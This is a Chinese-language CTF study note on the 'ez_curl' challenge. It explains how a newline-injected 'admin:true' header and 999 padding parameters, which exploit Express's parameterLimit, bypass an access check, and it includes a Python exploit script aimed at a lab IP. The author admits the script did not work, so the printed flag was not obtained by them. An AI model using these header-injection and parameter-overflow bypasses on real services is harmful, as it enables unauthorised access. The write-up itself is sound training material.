CTF笔记
[学习笔记]攻防世界—ez_curl
2025-03-23
•1 分钟•113 字下载附件,查看信息
const express = require('express');
const app = express();
const port = 3000;
const flag = process.env.flag;
app.get('/flag', (req, res) => {
if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
res.send(flag);
}else{
res.send('try hard');
}
});
app.listen({ port: port , host: '0.0.0.0'});
看代码,我们只需要构建headers头包含admin:true和params参数头不包含false即可绕过判断,我们打开网站看看

这段 PHP 代码会转换输入的 headers头 为数组,然后循环遍历每个头部,检查是否有以 admin 为关键字且值为 true 的头部,然后从输入中提取 params 参数,将其转化成字符串,追加到 url 后面,同时在后面追加 &admin=false
这里我们要用到两个知识点:
第一个, PHP 的
stripos()方法只匹配 当前字符串 ,也就是说,我们只要在admin前面加上\n进行换行,他就检测不到了第二个, express 的 parameterLimit 默认为 1000 ,也就是说,只要我们在params后面追加999个参数,后面追加的 &admin=false 就会被舍弃
最终构造脚本
import json
import requests
url = "http://61.147.171.105:63522/"
data = {"headers": ["aa:aa\nadmin:true", "Content-Type: application/json"],
"params": {"admin": "true"}}
for i in range(999):
data["params"]["a" + str(i)] = i
j = json.dumps(data)
headers = {"Content-Type": "application/json"}
r = requests.post(url, headers=headers, data=j)
print(r.content)
运行脚本,获取flag
CatCTF{23aaaab824aadf15eb19f4236f3e3b51}
我并没有得到flag,可能是靶场的文件丢失了,我也尝试过其他人的脚本,都没有正确获取
参考链接: https://blog.csdn.net/aa2528877987/article/details/131189077